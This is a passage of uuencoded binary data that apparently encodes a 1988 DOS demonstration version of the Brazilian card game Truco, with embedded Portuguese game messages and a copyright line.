M1OR8F;_@#)J%`B(&B_B*A4P#4)JN!R(&BT8&!04`F;_T#)J%`B(&4(M&!`4$ M`)F_]`R:A0(B!E":,`#,!.EE!SP(=`/IBP"-OOS^%E>*1OR8F;_@#)J%`B(& MB_B*A4P#4)JN!R(&BT8&!04`F;_T#)J%`B(&4(M&!`4#`)F_]`R:A0(B!E": M,`#,!(V^_/X65XI&_)B9O^`,FH4"(@:+^(J%3`-0FJX'(@:+1@8%!0"9O_0, MFH4"(@90BT8$!04`F;_T#)J%`B(&4)HP`,P$Z=,&/`ET`^G/`(V^_/X65XI& M_)B9O^`,FH4"(@:+^(J%3`-0FJX'(@:+1@8%!0"9O_0,FH4"(@90BT8$!0,` MF;_T#)J%`B(&4)HP`,P$C;[\_A97BD;\F)F_X`R:A0(B!HOXBH5,`U":K@<B M!HM&!@4%`)F_]`R:A0(B!E"+1@0%!`"9O_0,FH4"(@90FC``S`2-OOS^%E>* M1OR8F;_@#)J%`B(&B_B*A4P#4)JN!R(&BT8&!04`F;_T#)J%`B(&4(M&!`4% M`)F_]`R:A0(B!E":,`#,!.G]!3P`=`/I$P&-OOS^%E>*1OR8F;_@#)J%`B(& MB_B*A4P#4)JN!R(&BT8&!00`F;_T#)J%`B(&4(M&!`4#`)F_]`R:A0(B!E": M,`#,!(V^_/X65XI&_)B9O^`,FH4"(@:+^(J%3`-0FJX'(@:+1@8%!`"9O_0, MFH4"(@90BT8$!04`F;_T#)J%`B(&4)HP`,P$C;[\_A97BD;\F)F_X`R:A0(B M!HOXBH5,`U":K@<B!HM&!@4&`)F_]`R:A0(B!E"+1@0%`P"9O_0,FH4"(@90 MFC``S`2-OOS^%E>*1OR8F;_@#)J%`B(&B_B*A4P#4)JN!R(&BT8&!08`F;_T M#)J%`B(&4(M&!`4%`)F_]`R:A0(B!E":,`#,!.GC!#P!=`/I5P&-OOS^%E>* M1OR8F;_@#)J%`B(&B_B*A4P#4)JN!R(&BT8&!00`F;_T#)J%`B(&4(M&!`4# M`)F_]`R:A0(B!E":,`#,!(V^_/X65XI&_)B9O^`,FH4"(@:+^(J%3`-0FJX' M(@:+1@8%!`"9O_0,FH4"(@90BT8$!04`F;_T#)J%`B(&4)HP`,P$C;[\_A97 MBD;\F)F_X`R:A0(B!HOXBH5,`U":K@<B!HM&!@4&`)F_]`R:A0(B!E"+1@0% M`P"9O_0,FH4"(@90FC``S`2-OOS^%E>*1OR8F;_@#)J%`B(&B_B*A4P#4)JN M!R(&BT8&!08`F;_T#)J%`B(&4(M&!`4%`)F_]`R:A0(B!E":,`#,!(V^_/X6 M5XI&_)B9O^`,FH4"(@:+^(J%3`-0FJX'(@:+1@8%!0"9O_0,FH4"(@90BT8$ M!00`F;_T#)J%`B(&4)HP`,P$Z84#/`)T`^F;`8V^_/X65XI&_)B9O^`,FH4" M(@:+^(J%3`-0FJX'(@:+1@8%!`"9O_0,FH4"(@90BT8$!0,`F;_T#)J%`B(& M4)HP`,P$C;[\_A97BD;\F)F_X`R:A0(B!HOXBH5,`U":K@<B!HM&!@4$`)F_ M]`R:A0(B!E"+1@0%!0"9O_0,FH4"(@90FC``S`2-OOS^%E>*1OR8F;_@#)J% M`B(&B_B*A4P#4)JN!R(&BT8&!00`F;_T#)J%`B(&4(M&!`4$`)F_]`R:A0(B M!E":,`#,!(V^_/X65XI&_)B9O^`,FH4"(@:+^(J%3`-0FJX'(@:+1@8%!@"9 MO_0,FH4"(@90BT8$!00`F;_T#)J%`B(&4)HP`,P$C;[\_A97BD;\F)F_X`R: MA0(B!HOXBH5,`U":K@<B!HM&!@4&`)F_]`R:A0(B!E"+1@0%`P"9O_0,FH4" M(@90FC``S`2-OOS^%E>*1OR8F;_@#)J%`B(&B_B*A4P#4)JN!R(&BT8&!08` MF;_T#)J%`B(&4(M&!`4%`)F_]`R:A0(B!E":,`#,!.GC`3P#=`/IW`&-OOS^ M%E>*1OR8F;_@#)J%`B(&B_B*A4P#4)JN!R(&BT8&!00`F;_T#)J%`B(&4(M& M!`4#`)F_]`R:A0(B!E":,`#,!(V^_/X65XI&_)B9O^`,FH4"(@:+^(J%3`-0 MFJX'(@:+1@8%!`"9O_0,FH4"(@90BT8$!04`F;_T#)J%`B(&4)HP`,P$C;[\ M_A97BD;\F)F_X`R:A0(B!HOXBH5,`U":K@<B!HM&!@4$`)F_]`R:A0(B!E"+ M1@0%!`"9O_0,FH4"(@90FC``S`2-OOS^%E>*1OR8F;_@#)J%`B(&B_B*A4P# M4)JN!R(&BT8&!08`F;_T#)J%`B(&4(M&!`4$`)F_]`R:A0(B!E":,`#,!(V^ M_/X65XI&_)B9O^`,FH4"(@:+^(J%3`-0FJX'(@:+1@8%!@"9O_0,FH4"(@90 MBT8$!0,`F;_T#)J%`B(&4)HP`,P$C;[\_A97BD;\F)F_X`R:A0(B!HOXBH5, M`U":K@<B!HM&!@4&`)F_]`R:A0(B!E"+1@0%!0"9O_0,FH4"(@90FC``S`2- MOOS^%E>*1OR8F;_@#)J%`B(&B_B*A4P#4)JN!R(&BT8&!04`F;_T#)J%`B(& M4(M&!`4$`)F_]`R:A0(B!E":,`#,!+`"4)J^`KP%B>Q=P@8`"]K$Q,3$Q,3$ MQ,2_`````/\````+L["PL+"PL+"PL+,+P,3$Q,3$Q,3$Q-E5B>6X`@":K0(B M!H/L`K`/4)J^`KP%L`!0FJ0"O`6_SQ8.5XM&!IF_VQ::A0(B!E"+1@29O]L6 MFH4"(@90FC``S`3'1OX!`.L#_T;^O^,6#E>+1@:9O]L6FH4"(@90BT8$`T;^ MF;_;%IJ%`B(&4)HP`,P$@W[^!W70O^\6#E>+1@:9O]L6FH4"(@90BT8$!0@` MF;_;%IJ%`B(&4)HP`,P$L`)0FKX"O`6)[%W"!``+("`@("`@("`@("`````` M_P```%6)Y;@"`)JM`B(&@^P",<")1O[K`_]&_K^I%PY7BT8&F;^U%YJ%`B(& M4(M&!`-&_IF_M1>:A0(B!E":,`#,!(-^_@AUT(GL7<($``"`____?P```1@` M````_P````5#;W)T90$@`````"@````/4V]B92!O=2!$97-C92`_58GEN"4` MFJT"(@:#["7'1OP!`.L#_T;\BT;\!0@`F;\(&)J%`B(&4+@$`%#HDOZ#?OPH M=>#'1OP4`+`.4)JD`KP%OQ`8#E>+1OP%"`"9OQ(8FH4"(@90L`Y0FC``S`2P M#U":@`S,!+`$4)JJ#,P$L`!0L`=0L`I0L`E0OP@8#E>:<@',!+@!`%"_&A@. M5YJ##<P$Z#CG,.0QTK\2&)J%`B(&B$;[FO<)S`2_$!@.5XM&_`4(`)F_$AB: MA0(B!E"P#E":,`#,!.@$YS#D,=*_$AB:A0(B!HA&^[\@&`Y7BT;\!0@`F;\2 M&)J%`B(&4+`.4)HP`,P$BD;[,.0QTK\2&)J%`B(&/,MU'(M&_`4F`)FY*`#W M^9)`F;\(&)J%`B(&B4;\ZQL\S747BT;\F;DH`/?YDD"9OP@8FH4"(@:)1OR* M1OLPY#'2OQ(8FH4"(@90C7[;%E>:KP@B!K`@4)J^""(&L`U0FKX((@::,PDB M!G4#Z3;_OZP#'E>_6@,>5[A2`%":P`(B!HM&_)F_"!B:A0(B!CTH`'\\H\,$ MZP3_!L,$H<,$F;\B&)J%`B(&B_C1YXN-6@.APP0K1OQ`F;\B&)J%`B(&B_C1 MYXF-K`.#/L,$*'7)BT;\2)F_"!B:A0(B!HE&^;@!`#M&^7]`H\,$ZP3_!L,$ MH<,$F;\B&)J%`B(&B_C1YXN-6@.APP0%*0`K1OQ(F;\B&)J%`B(&B_C1YXF- MK`.APP0[1OEUQ;`.4)J`#,P$L`%0FJH,S`2P`%"P#%"P*%"P#E"_"!@.5YIR M`<P$N`$`4+\J&`Y7FH,-S`3H:^4PY#'2OQ(8FH4"(@90FF$2(@8PY#'2OQ(8 MFH4"(@:(1ON*1OLPY#'2OQ(8FH4"(@90C7[;%E>:KP@B!K!34)J^""(&L$10 MFKX((@:P#5":O@@B!K`@4)J^""(&FC,)(@9TFX!^^U-U<L<&PP0!`.L$_P;# M!*'#!)F_(AB:A0(B!HOXT>>+A:P#HZP#N"D`*P;#!)F_(AB:A0(B!HOXT>>+ MC:P#H<,$F;\B&)J%`B(&B_C1YXF-K`.+#JP#N"D`*P;#!)F_(AB:A0(B!HOX MT>>)C:P#@S[#!!1UEIKW"<P$QT;\*`#K`_]._(M&_`4(`)F_"!B:A0(B!E"X M!`!0Z%[[,<")1O[K`_]&_K\@&`Y7BT;\!1,`F;\2&)J%`B(&4(M&_@4$`)F_ M$AB:A0(B!E":,`#,!(-^_@AUS8-^_`%UIHGL7<,`#$5M8F%R86QH86YD;P"` M____?P```````"@```!5B>6X!@":K0(B!H/L!K@)`%"X!`!0Z./ZL`%0FH`, MS`2P!U":J@S,!+``4+`&4+`/4+`(4+_A&PY7FG(!S`2X`0!0O^(;#E>:@PW, M!,=&_@$`ZP/_1O['1OP!`.L#_T;\N&0`4)H1`[P%N`H`4)KI`KP%FCX#O`6X M"@!0FND"O`6#?OP>==>X+`%0FND"O`6#?OX%=;['1OH!`.L#_T;ZN"@`4)KO M#"(&0#'2O^\;FH4"(@:)1ORX*`!0FN\,(@9`,=*_[QN:A0(B!HE&_HM&_)F_ M]QN:A0(B!HOXT>>+A:P#HZP#BT;^F;_W&YJ%`B(&B_C1YXN-K`.+1OR9O_<; MFH4"(@:+^-'GB8VL`XL.K`.+1OZ9O_<;FH4"(@:+^-'GB8VL`X%^^N@#=`/I M;O^:]PG,!(GL7<,!"0````#_`````;I5B>6X`@":K0(B!H/L`K`.4)JD`KP% MOS<=#E>+1@:9OSD=FH4"(@90BT8$F;\Y'9J%`B(&4)HP`,P$QT;^`0#K`_]& M_K]!'0Y7BT8&F;\Y'9J%`B(&4(M&!`-&_IF_.1V:A0(B!E":,`#,!(-^_@-U MT+C(`%":Z0*\!8GL7<($``"`____?P``58GEN`@`FJT"(@:#[`B#?@0,?@7' M1@0,`(I&!IBY$0#WZ8O0N",`*\*9O\,=FH4"(@:)1OJ+1@29N0,`]_E(F;_# M'9J%`B(&B4;X,<`[1OA_8XE&_.L#_T;\QT;^`0#K`_]&_HM&_M'@B]B+1OR9 MN0(`]_F2N0,`T^`%00`#PYF_PQV:A0(B!E"+1OR9N0(`]_FY`@#3X`-&^IF_ MPQV:A0(B!E#HT?Z#?OX#=;2+1OP[1OAUHHM&!)FY`P#W^9*9O\,=FH4"(@:) M1OBX`0`[1OA_6XE&_.L#_T;\BT;\T>"+V(M&!$B9N0,`]_F9N0(`]_F2N0,` MT^`%00`#PYF_PQV:A0(B!E"+1@1(F;D&`/?YN0(`T^`#1OJ9O\,=FH4"(@90 MZ%+^BT;\.T;X=:J)[%W"!```@/___W\```$```!D`````````/\````.+B!C M87)T82!A8F5R=&$(0V%I(&9O<F$/82!C87)T82!F96-H861A"D%B<F4@8V%R M=&$.82!C87)T82!A8F5R=&$+1F5C:&$@8V%R=&$!````!``````````!```` M`0````,`````````"0`````````#````58GEN`(!FJT"(@:![`(!N`0`*P:_ M!)F__QZ:A0(B!HE&_K@!`#M&_G]8H\,$ZP3_!L,$C;[^_A97H<,$!3``F;\/ M'YJ%`B(&4)JN!R(&OQ<?#E>:(`<B!J'#!)F_!Q^:A0(B!KI1`/?BB_B!QY4$ M'E>X4`!0FJT&(@:APP0[1OYUK;\F'PY7N`8`*P:_!)F_!Q^:A0(B!KI1`/?B MB_B!QY4$'E>X4`!0FJT&(@:P#E":@`S,!+`!4)JJ#,P$L`90L`%0L!A0N`D` M*P:_!)F_#Q^:A0(B!E"__QX.5YIR`<P$Q@;9!`"`/MD$`'4#Z:$`N`0`*P:_ M!)F__QZ:A0(B!HE&_K@!`#M&_G]8H\,$ZP3_!L,$C;[^_A97H<,$!3``F;\/ M'YJ%`B(&4)JN!R(&OR\?#E>:(`<B!J'#!)F_!Q^:A0(B!KI1`/?BB_B!QY4$ M'E>X4`!0FJT&(@:APP0[1OYUK;\_'PY7N`4`*P:_!)F_!Q^:A0(B!KI1`/?B MB_B!QY4$'E>X4`!0FJT&(@;IG@"X!``K!K\$F;__'IJ%`B(&B4;^N`$`.T;^ M?UBCPP3K!/\&PP2-OO[^%E>APP0%,`"9OP\?FH4"(@90FJX'(@:_2A\.5YH@ M!R(&H<,$F;\''YJ%`B(&NE$`]^*+^(''E00>5[A0`%":K08B!J'#!#M&_G6M MOUD?#E>X!0`K!K\$F;\''YJ%`B(&NE$`]^*+^(''E00>5[A0`%":K08B!K@& M`"L&OP29O_\>FH4"(@:CC"2X!P`K!K\$F;__'IJ%`B(&H[L$@SZ]!`QT6X`^ MY`0!=%2ANP29O_\>FH4"(@:CC"2AO029N0,`]_E`F;]E'YJ%`B(&B_C1YXOW MT><#_H''*@,>5Z&,))F_!Q^:A0(B!KI1`/?BB_B!QY4$'E>X4`!0FJT&(@:: M#0*\!;@!`%"X`0!0,<!0N`$`4*&,))F__QZ:A0(B!E":-`,!!)F__QZ:A0(B M!J/#!(,^PP0`=,RX"`!0N`<`4)H##LP$N`4`*P:_!#L&PP1U&H`^V00`=`2P M`.L"L`&8F;]M'YJ%`B(&HMD$N`4`*P:_!#L&PP1U`^FR_:'#!#L&NP1U!>AG MX^L2N`8`*P:_!#L&PP1U!<8&VP0`@#[:!`!T$X`^VP0`=`RAPP0[!KL$=0/I M>/V:]PG,!(`^VP0`=0/I:`&`/MH$`'4#Z5X!,<"CQ03_#L,$H<,$F;__'IJ% M`B(&_P;%!*'%!)F__QZ:A0(B!J'%!)F_=1^:A0(B!HOX@+V=!`!UVX,^PP0` M=<2AQ02Y#`#WZ9F__QZ:A0(B!E"X$0!0Z$_TH<4$F;__'IJ%`B(&H\L$@#[9 M!`!T+8,^OP0!=":AT029O_\>FH4"(@90H=,$F;__'IJ%`B(&4.A3\\<&U03_ M_^F@`*'%!)F_=1^:A0(B!HOXT>?_M:L$H=$$F;__'IJ%`B(&4*'3!)F__QZ: MA0(B!E#H,NFAQ029OW4?FH4"(@:+^-'G_[6K!.A,YZ'+!)F_=1^:A0(B!HOX MT>>*A:L$F)F_A1^:A0(B!M'@B]BARP29OW4?FH4"(@:+^-'GBH6L!)B9OWT? MFH4"(@:+^+$#T^<#^XN%_@.9O_\>FH4"(@:CU02#!M$$`J'1!)F__QZ:A0(B M!O\&TP2ATP29O_\>FH4"(@:)[%W#`0````,`````@/___W\``%6)Y;@$`)JM M`B(&@^P$QT;\`0#'1OX!`.L#_T;^BT;^F;]V))J%`B(&B_B`O:`$`'4QBT;^ MF;]^))J%`B(&B\B+1OR9OW8DFH4"(@:+^-'GB8VQ!/]&_(M&_)F_?B2:A0(B M!H-^_@-UL8GL7<,!`````P````"`____?P````````D``````````P```%6) MY3'`FJT"(@:+1@:9O_,DFH4"(@:+^-'GBX6Q!)F_^R2:A0(B!HE&!NA.XX`^ MV@0`=0/IZ`"`/ML$`'4#Z=X`N.@#4)KI`KP%H=$$F;_[))J%`B(&4*'3!)F_ M^R2:A0(B!E#H@?&XZ`-0FND"O`6+1@:9O_,DFH4"(@:+^-'G_[6E!.@%YXM& M!IF_\R2:A0(B!HOXT>?_M:4$H=$$F;_[))J%`B(&4*'3!)F_^R2:A0(B!E#H M2>>+1@:9O_LDFH4"(@:CS02+1@:9O_,DFH4"(@:+^-'GBH6E!)B9OPLEFH4" M(@;1X(O8BT8&F;_S))J%`B(&B_C1YXJ%I@28F;\#)9J%`B(&B_BQ`]/G`_N+ MA?X#F;_[))J%`B(&H]<$B>Q=P@0``(#___]_``!5B>4QP)JM`B(&H;\$F;\X M)IJ%`B(&/0$`=2R`/J4$`'0*N`(`4%7HJ?[K&8`^I`0`=`JX`0!05>B8_NL( MN`,`4%7HCO[K+3T"`'4;@#[<!`!T"K@"`%!5Z'C^ZPBX`0!05>AN_NL-/0,` M=0BX`0!05>A?_H,&T00"H=$$F;\X)IJ%`B(&_P;3!*'3!)F_."::A0(B!HGL M7<,`````"0`````````#`````0````,`````@/___W\``%6)Y;@&`)JM`B(& M@^P&@SZ_!`-T`^F:`,8&N@0`ZP3^!KH$Q@:Y!`#K!/X&N02@N028F;_A)IJ% M`B(&B\B@N@28F;_9)IJ%`B(&B_C1Y]'G`_G&A78$`(`^N00#=<R`/KH$"76Z MH<L$F;_I)IJ%`B(&B_C1YX''JP2)?OJ,7OS$?OHFB@68F;_A)IJ%`B(&B\C$ M?OHFBD4!F)F_V2::A0(B!HOXT>?1YP/YQH5V!`'H9>&X!0`K!K\$F;_Q)IJ% M`B(&B4;^_T[^BT;^F;_Q)IJ%`B(&@W[^`'1WBT;^F;_I)IJ%`B(&B_C1YXN% ML029O^DFFH4"(@:+^-'GBH6E!)B9O^$FFH4"(@;1X(O8BT;^F;_I)IJ%`B(& MB_C1YXN%L029O^DFFH4"(@:+^-'GBH6F!)B9O]DFFH4"(@:+^+$#T^<#^XN% M_@,[!M4$?P/I=/^#?OX`=`/IV@#H.."`/ML$`'4#Z<H`@#[:!`!U`^G``+CH M`U":Z0*\!;@$`"L&OP29O^DFFH4"(@:+^-'GBX6Q!)F_\2::A0(B!HE&_J'1 M!)F_\2::A0(B!E"ATP29O_$FFH4"(@90Z$?N@SZ_!`%U6KCH`U":Z0*\!8M& M_IF_Z2::A0(B!HOXT>?_M:4$H=$$F;_Q)IJ%`B(&4*'3!)F_\2::A0(B!E#H M'^2+1OZ9O^DFFH4"(@:+^-'G_[6E!.B3X[CH`U":Z0*\!<<&UP3__XM&_IF_ M\2::A0(B!J/-!.D5`8M&_IF_Z2::A0(B!HOXT>>+A;$$F;_Q)IJ%`B(&B4;^ MZ#[?@#[;!`!U`^GH`(`^V@0`=0/IW@"+1OZ9O_$FFH4"(@:CS02+1OZ9O^DF MFH4"(@:+^-'GBH6E!)B9O^$FFH4"(@;1X(O8BT;^F;_I)IJ%`B(&B_C1YXJ% MI@28F;_9)IJ%`B(&B_BQ`]/G`_N+A?X#F;_Q)IJ%`B(&H]<$N.@#4)KI`KP% MH=$$F;_Q)IJ%`B(&4*'3!)F_\2::A0(B!E#H"NVXZ`-0FND"O`6+1OZ9O^DF MFH4"(@:+^-'G_[6E!.B.XHM&_IF_Z2::A0(B!HOXT>?_M:4$H=$$F;_Q)IJ% M`B(&4*'3!)F_\2::A0(B!E#HTN*)[%W#58GE,<":K0(B!H,^OP0!=0?&!N`$ M`>L3@#[<!`!T!\8&WP0!ZP7&!MX$`8GL7<,``````0````$````#```````` M``D``````````P````"`____?P``58GE,<":K0(B!H,^OP0!?@Z`/MP$`'02 M@#[@!`!U"X,^OP0#=`2P`.L"L`&8F;]U*IJ%`B(&HMX$@#[A!`!U`^FQ`*'- M!)F_?2J:A0(B!HOXT>>*A:4$F)F_C2J:A0(B!M'@B]BAS029OWTJFH4"(@:+ M^-'GBH6F!)B9OX4JFH4"(@:+^+$#T^<#^XN%_@.9OY4JFH4"(@90H<L$F;]] M*IJ%`B(&B_C1YXJ%JP28F;^-*IJ%`B(&T>"+V*'+!)F_?2J:A0(B!HOXT>>* MA:P$F)F_A2J:A0(B!HOXL0/3YP/[BX7^`YF_E2J:A0(B!E#HM=[K7;C__U"A MS029OWTJFH4"(@:+^-'GBH6E!)B9OXTJFH4"(@;1X(O8H<T$F;]]*IJ%`B(& MB_C1YXJ%I@28F;^%*IJ%`B(&B_BQ`]/G`_N+A?X#F;^5*IJ%`B(&4.BSW\8& MX00`B>Q=PP`````!`````0````,`````````"0`````````#`````(#___]_ M``!5B>4QP)JM`B(&@SZ_!`%^#H`^W`0`=1*`/N`$`'4+@SZ_!`-T!+``ZP*P M`9B9O_<KFH4"(@:BWP2#/K\$`74%Q@;<!`&`/N$$`'1@N/__4*'+!)F__RN: MA0(B!HOXT>>*A:4$F)F_#RR:A0(B!M'@B]BARP29O_\KFH4"(@:+^-'GBH6L M!)B9OP<LFH4"(@:+^+$#T^<#^XN%_@.9OQ<LFH4"(@90Z'S=Z:\`H<L$F;__ M*YJ%`B(&B_C1YXJ%JP28F;\/+)J%`B(&T>"+V*'+!)F__RN:A0(B!HOXT>>* MA:P$F)F_!RR:A0(B!HOXL0/3YP/[BX7^`YF_%RR:A0(B!E"AS029O_\KFH4" M(@:+^-'GBH6E!)B9OP\LFH4"(@;1X(O8H<T$F;__*YJ%`B(&B_C1YXJ%I@28 MF;\'+)J%`B(&B_BQ`]/G`_N+A?X#F;\7+)J%`B(&4.@GWL8&X00!B>Q=PU6) MY;@$`)JM`B(&@^P$B>Q=PR54<G5C;R`H0RD@,3DX."!B>2!-87)I;R!*+D)I M='1E;F-O=7)T/45S<V4@<')O9W)A;6$@92<@=6UA('9E<G-A;R!D92!D96UO M;G-T<F%C86\@9&\@:F]G;R!D92!4<G5C;RX[3F%O('!O<W-U:2!T;V1A<R!A M<R`G;75M=6YH87,G(&1E(&IO9V%D;W)E<R!P<F]F:7-S:6]N86ES(&4\<')O M=F%V96QM96YT92!V86D@9F%Z97(@;75I=&%S(&)O8F%G96YS+B!#87-O(&QH M92!I;G1E<F5S<V4L/F5N=')E(&5M(&-O;G1A=&\@8V]M(&\@875T;W(@9&\@ M<')O9W)A;6$@92!S97)A)R!P<F]V:61E;F-I861O'W5M82!C;W!I82!C;VUP M;&5T82!D;R!P<F]G<F%M82X?36%N:6QH82!V96QH82!O=2!0;VYT82!A8VEM M82`_(`````#_``````````$````M4W5A('1E;&$@97-T82<@9V5R86YD;R!I M;G1E<F9E<F5N8VEA("A3+TXI(#\@!51R=6-O"E9E<G-A;R`Q+C$50V]P>7)I M9VAT("A#*2`Q.3@X(&)Y$TUA<FEO($HN0FET=&5N8V]U<G0`@/___W\````` M```H``````````,`````````"0````$````#````"TUA;R!D92!/;GIE%4%C M96ET82!J;V=A<B`H4R].*2`_(!Y6;W4@=F5R('-E(&%C96ET;R!E<W-E(&IO M9V\N+BX2174@86-E:71O(&IO9V%R+BXN$TYA;R!A8V5I=&\@:F]G87(N+BX, M174@8V]M96-O+BXN"U9O8V4@8V]M96-A`0````0````?4&]D92!P<F5P87)A M<B!U;2!N;W9O(&]T87)I;RXN+B-%<W-E(&1A:2!S;R<@9&5U('!A<F$@9F%Z M97(@8V]C96=A<QU%=2!Q=65R;R!E)R!U;2!J;V=A9&]R(&UE<VUO+AY0<F5C M:7-O('1R96EN87(@;6%I<R!U;2!P;W5C;RX;06-H;R!Q=64@9FEQ=65I(&UU M:71O('1E;7!O&7-E;2!J;V=A<B!E(&$@9V5N=&4@86-A8F$797-Q=65C96YD M;R!A<R!M86YH87,N+BX?1&5S96IA(&IO9V%R(&YO=F%M96YT92`H4R].*2`_ M()H``"(&F@``O`6:2`[,!)J+#`$$B>6#[""_SB<>5[^5+0Y7,<!0FO81(@:: M.Q$B!IIW`B(&O\XG'E>:.Q$B!IIW`B(&O\XG'E>_NRT.5S'`4)KV$2(&FCL1 M(@::=P(B!K_.)QY7O_DM#E<QP%":]A$B!IH[$2(&FG<"(@:_SB<>5[\U+@Y7 M,<!0FO81(@::.Q$B!IIW`B(&O\XG'E>_<BX.5S'`4)KV$2(&FCL1(@::=P(B M!K_.)QY7O[$N#E<QP%":]A$B!IH[$2(&FG<"(@:_SB<>5YH[$2(&FG<"(@:_ MSB<>5[_1+@Y7,<!0FO81(@::5!$B!IIW`B(&FE<#O`4PY#'2O_$NFH4"(@90 MFF$2(@8PY#'2O_$NFH4"(@:BXP2@XP0PY#'2O_$NFH4"(@90C7[@%E>:KP@B M!K!-4)J^""(&L%!0FKX((@::,PDB!G2IO\XG'E>@XP10,<!0FI@1(@::.Q$B M!IIW`B(&O\XG'E>:.Q$B!IIW`B(&@#[C!%!T!+``ZP*P`9B9O_DNFH4"(@:B MX@2_SB<>5[\!+PY7,<!0FO81(@::5!$B!IIW`B(&FD4#O`4(P'4GN`"X4#'_ M!R:*!3#D,=*_\2Z:A0(B!C#D,=*_\2Z:A0(B!J+C!.O0FE<#O`4PY#'2O_$N MFH4"(@90FF$2(@8PY#'2O_$NFH4"(@:BXP2@XP0PY#'2O_$NFH4"(@90C7[@ M%E>:KP@B!K!34)J^""(&L$Y0FKX((@::,PDB!G2I@#[C!%-T!+``ZP*P`9B9 MO_DNFH4"(@:BMR:X"`!0N`<`4)H##LP$L`)0FKX"O`6:#0*\!;`!4)J`#,P$ ML`=0FJH,S`2P`%"P#%"P`%"P%%"_\2X.5YIR`<P$N`(`4+\O+PY7FH,-S`2X M!`!0OS4O#E>:@PW,!+@%`%"_0"\.5YJ##<P$N`8`4+]6+PY7FH,-S`3H,,PP MY#'2O_$NFH4"(@:BXP2:]PG,!)IU#2(&F@T"O`7&!MT$`3'`H\D$,<"CSP2P M%%"P`5"P/5"P$%":S0&\!9H-`KP%L`%0L`%0L%!0L!E0FLT!O`7'!L,$`0#K M!/\&PP2APP2Y#`#WZ9F_:B^:A0(B!E"X$0!0Z&SC@S[#!`-UW+A$`%"X"0!0 MZ%KCQP;#!`$`Q@:Y!`#K!/X&N03&!KH$`.L$_@:Z!*'#!)F_<B^:A0(B!HOX MT>>!QZP#B7[\C%[^H+D$F)F_>B^:A0(B!L1^_":(!:"Z!)B9OX(OFH4"(@;$ M?OPFB$4!_P;#!*'#!)F_:B^:A0(B!H`^N@0)=:2`/KD$`W62OZP#'E>_6@,> M5[A2`%":P`(B!N@+Y^A#X[CT`5":Z0*\!<<&PP0!`.L$_P;#!*'#!+D,`/?I MF;]J+YJ%`B(&4+@1`%#HUN&X]`%0FND"O`6#/L,$`W73@#[B!`!T++A$`%"X M"0!0Z+3AN.@#4)KI`KP%_S:T`[A$`%"X"0!0Z+77N-`'4)KI`KP%QP;#!`$` MZP3_!L,$H<,$F;]R+YJ%`B(&B_C1YXN-K`.APP29OXHOFH4"(@:+^-'GB8VK M!*'#!)F_BB^:A0(B!HOXT>?_M:L$H<,$N0P`]^F9OVHOFH4"(@90N!$`4.A+ MU[CT`5":Z0*\!8,^PP0#=9?&!KH$`.L$_@:Z!,8&N00`ZP3^!KD$H+D$F)F_ M>B^:A0(B!HO(H+H$F)F_@B^:A0(B!HOXT>?1YP/YQH5V!`&@N028F;]Z+YJ% M`B(&B\B@N@28F;^"+YJ%`B(&B_C1Y]'G`_G&A4X$`:"Z!)B9OVHOFH4"(@90 MH+D$F)F_>B^:A0(B!M'@B]B@N@28F;^"+YJ%`B(&B_BQ`]/G`_M8B87^`X`^ MN00#=`/I9_^`/KH$"70#Z5+_@#[B!`!T<(`^M0,)=0?&!KH$`.L2H+4#_L"8 MF;^"+YJ%`B(&HKH$Q@:Y!`#K!/X&N02@N028!0H`F;]J+YJ%`B(&4*"Y!)B9 MOWHOFH4"(@;1X(O8H+H$F)F_@B^:A0(B!HOXL0/3YP/[6(F%_@.`/KD$`W6Y MZQC'!@0$#0#'!AH$#`#'!C@$"P#'!A8$"@#'!L,$`0#K!/\&PP2APP0%!`"9 MOW(OFH4"(@:+^-'GBXVL`Z'#!)F_BB^:A0(B!HOXT>>)C:4$@S[#!`-URL<& MQ00"`.L$_P[%!*'%!)F_:B^:A0(B!HE&_K@!`#M&_GX#Z0P!H\<$ZP3_!L<$ MH<<$0)F_BB^:A0(B!HOXT>>*A:4$F)F_>B^:A0(B!M'@B]BAQP1`F;^*+YJ% M`B(&B_C1YXJ%I@28F;^"+YJ%`B(&B_BQ`]/G`_O_M?X#H<<$F;^*+YJ%`B(& MB_C1YXJ%I028F;]Z+YJ%`B(&T>"+V*''!)F_BB^:A0(B!HOXT>>*A:8$F)F_ M@B^:A0(B!HOXL0/3YP/[BX7^`UH[PGU9H<<$F;^*+YJ%`B(&B_C1YXN%I02C MK`.AQP1`F;^*+YJ%`B(&B_C1YXN-I02AQP29OXHOFH4"(@:+^-'GB8VE!(L. MK`.AQP1`F;^*+YJ%`B(&B_C1YXF-I02AQP0[1OYT`^GY_H,^Q00!=`/IS/[' M!L,$`0#K!/\&PP2APP29OXHOFH4"(@:+^,:%H`0`H<,$F;^*+YJ%`B(&B_C& MA9T$`(,^PP0#=<_HL^O'!L,$`0#K!/\&PP2APP29OXHOFH4"(@:+^-'G_[6E M!.A/TH,^PP0#==['!L,$`0#K!/\&PP2APP29OXHOFH4"(@:+^-'G_[6K!.A_ MTX,^PP0#==[&!MP$`,8&V@0!Q@;;!`''!KT$`0`QP*._!,8&Y`0`Q@;>!`#& M!M\$`(`^W00`=`2P`.L"L`&8F;_Y+IJ%`B(&HMT$H-T$F)F_^2Z:A0(B!J+A M!,8&X`0`@S[/!`MT`^G"`(,^R00+=0/IN`"P`U":@`S,!+``4)JJ#,P$L`!0 ML`=0L#)0L`E0OY(O#E>:<@',!+@!`%"_GB\.5YJ##<P$Z#[&,.0QTK_Q+IJ% M`B(&4)IA$B(&,.0QTK_Q+IJ%`B(&HN,$H.,$,.0QTK_Q+IJ%`B(&4(U^X!97 MFJ\((@:P4U":O@@B!K!.4)J^""(&FC,)(@9TJYKW"<P$@#[C!%-T!+``ZP*P M`9B9O_DNFH4"(@:BVP2`/ML$`'0&QP:]!`,`Z14!@S[/!`MU`^D+`8,^R00+ M=`/I`0&P`5":@`S,!+`'4)JJ#,P$L`!0L`-0L#)0L`50OY(O#E>:<@',!+@! M`%"_M"\.5YJ##<P$N-`'4)KI`KP%@S[!!`)T!+``ZP*P`9B9O_DNFH4"(@:B MV@2`/MH$`'13QP:]!`,`L`-0FH`,S`2P`%":J@S,!+``4+`'4+`R4+`)4+_Q M+@Y7FG(!S`2X`0!0O],O#E>:@PW,!.@.Q3#D,=*_\2Z:A0(B!J+C!)KW"<P$ MZTNP`U":@`S,!+``4)JJ#,P$L`!0L`=0L#)0L`E0O_$N#E>:<@',!+@!`%"_ MYB\.5YJ##<P$Z,'$,.0QTK_Q+IJ%`B(&HN,$FO<)S`2:]PG,!(`^V@0`=0/I 